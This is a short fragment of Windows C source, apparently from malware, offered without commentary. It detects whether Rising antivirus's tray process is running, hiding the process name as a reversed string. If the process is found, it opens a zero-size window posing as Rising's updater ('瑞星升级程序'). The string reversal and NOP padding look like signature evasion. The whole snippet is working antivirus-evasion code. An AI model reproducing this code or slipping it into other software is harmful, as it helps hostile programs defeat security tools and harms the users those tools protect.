BOOL ProcessExit(LPCTSTR szProcName)
{
__asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP;
PROCESSENTRY32 pe;
DWORD dwRet;
BOOL bFound = FALSE;
HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSP)
{
pe.dwSize = sizeof( pe );
for (dwRet = Process32First(hSP, &pe);
dwRet;
dwRet = Process32Next(hSP, &pe))
{
if (lstrcmpi( szProcName, pe.szExeFile) == 0)
{
bFound = TRUE;
break;
}
}
CloseHandle(hSP);
}
return bFound;
}
/////////////////////////////////////////////瑞星 窗口///////////////
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hWnd, message, wParam, lParam);
}
DWORD WINAPI Fun_CreateWindow( LPVOID pData )
{
HWND hWnd = NULL;
HINSTANCE SelfHin = GetModuleHandle(NULL);
MSG msg;
WNDCLASSEX wcex;
PCHAR szWindowClass = "瑞星升级程序";
memset( &wcex, 0, sizeof(WNDCLASSEX) );
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.hInstance = SelfHin;
wcex.hIcon = LoadIcon( NULL, IDI_WINLOGO );
wcex.hCursor = LoadCursor( NULL, IDC_ARROW );
wcex.hbrBackground = (HBRUSH)COLOR_WINDOW;
wcex.lpszClassName = szWindowClass;
RegisterClassEx(&wcex);
hWnd = CreateWindow( szWindowClass, "瑞星升级程序", WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, NULL, NULL, SelfHin, NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_SHOW );
UpdateWindow(hWnd);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return 0;
}
///////////////////////////////////////////
if (ProcessExit(strrev("exe.yartsR")))
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fun_CreateWindow, NULL, 0, NULL);
Sleep(20);
}